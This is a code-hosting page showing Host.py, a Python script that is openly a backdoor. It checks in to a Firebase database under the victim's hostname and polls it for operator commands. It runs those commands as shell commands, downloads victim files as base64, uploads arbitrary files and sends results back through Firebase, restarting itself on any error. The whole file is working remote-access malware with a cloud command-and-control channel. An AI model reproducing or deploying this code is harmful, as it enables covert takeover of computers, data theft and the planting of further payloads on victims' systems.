-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathHost.py
More file actions
116 lines (103 loc) · 3.16 KB
/
Copy pathHost.py
File metadata and controls
116 lines (103 loc) · 3.16 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
import socket
import subprocess
import os
import base64
import json
import time
import pyrebase
import secrets
import platform
from datetime import datetime
class Backdoor:
db = ""
firebase = ""
ListenerCode = ""
Device = ""
def __init__(self):
# Use your own firebase configuration
firebaseConfig = {
'apiKey': "XXXXXXX",
'authDomain': "XXXXXXX",
'databaseURL': "XXXXXXX",
'projectId': "XXXXXXX",
'storageBucket': "XXXXXXX",
'messagingSenderId': "XXXXXXX",
'appId': "XXXXXXX"
}
self.firebase = pyrebase.initialize_app(firebaseConfig)
self.db = self.firebase.database()
self.data = {
'packet': {
'TerminalCode': secrets.token_hex(nbytes=5),
'ListenerCode': "",
'Listener': "",
'Terminal': json.dumps("Online " + str(datetime.now().strftime("%d/%m/%Y %H:%M:%S")))
}
}
my_system = platform.uname()
self.Device = my_system.node
self.db.child(self.Device).set(self.data)
def reliable_send(self,message):
if(isinstance(message, str)):
json_data = json.dumps(message)
else:
json_data = json.dumps(message.decode("utf-8"))
print(json_data)
data = {self.Device + "/packet/Terminal": json_data}
self.db.update(data)
data = {self.Device + "/packet/TerminalCode": secrets.token_hex(nbytes=5)}
self.db.update(data)
def reliable_recieve(self):
while True:
recieved = self.db.child(self.Device).get().val()['packet']
if self.ListenerCode != recieved['ListenerCode']:
self.ListenerCode = recieved['ListenerCode']
json_data = recieved['Listener']
return json.loads(json_data)
def execute_system_command(self, command):
return subprocess.check_output(command, shell=True)
def change_working_directory_to(self, path):
os.chdir(path)
return "[+] Changing working directroy to "+path
def read_file(self, path):
with open(path, "rb") as file:
return base64.b64encode(file.read())
def write_file(self, path, content):
with open(path, "wb")as file:
file.write(base64.b64decode(content))
return "[+] Upload Successful"
# def status(self):
# json_data = json.dumps("Stats: " + str(datetime.now().strftime("%d/%m/%Y %H:%M:%S")))
# data = {self.Device + "/packet/Terminal": json_data}
# self.db.update(data)
# data = {self.Device + "/packet/TerminalCode": secrets.token_hex(nbytes=5)}
# self.db.update(data)
def run(self):
while True:
command = self.reliable_recieve()
print(command)
try:
if command[0]=="exit":
exit()
elif command[0] == 'status' and len(command)<=1:
command_result= "Status: " + str(datetime.now().strftime("%d/%m/%Y %H:%M:%S"))
elif command[0]=="cd" and len(command) > 1:
command_result= self.change_working_directory_to(command[1])
elif command[0]=="download":
command_result = self.read_file(command[1])
elif command[0] == "upload":
command_result = self.write_file(command[1], command[2])
else:
command_result= self.execute_system_command(command)
except Exception :
command_result= "[-] Error During command execution foreign"
self.reliable_send(command_result)
x=0
while True:
try:
x=x+1
my_backdoor = Backdoor()
my_backdoor.run()
except Exception as e :
print("Errror:"+str(x)+str(e))
continue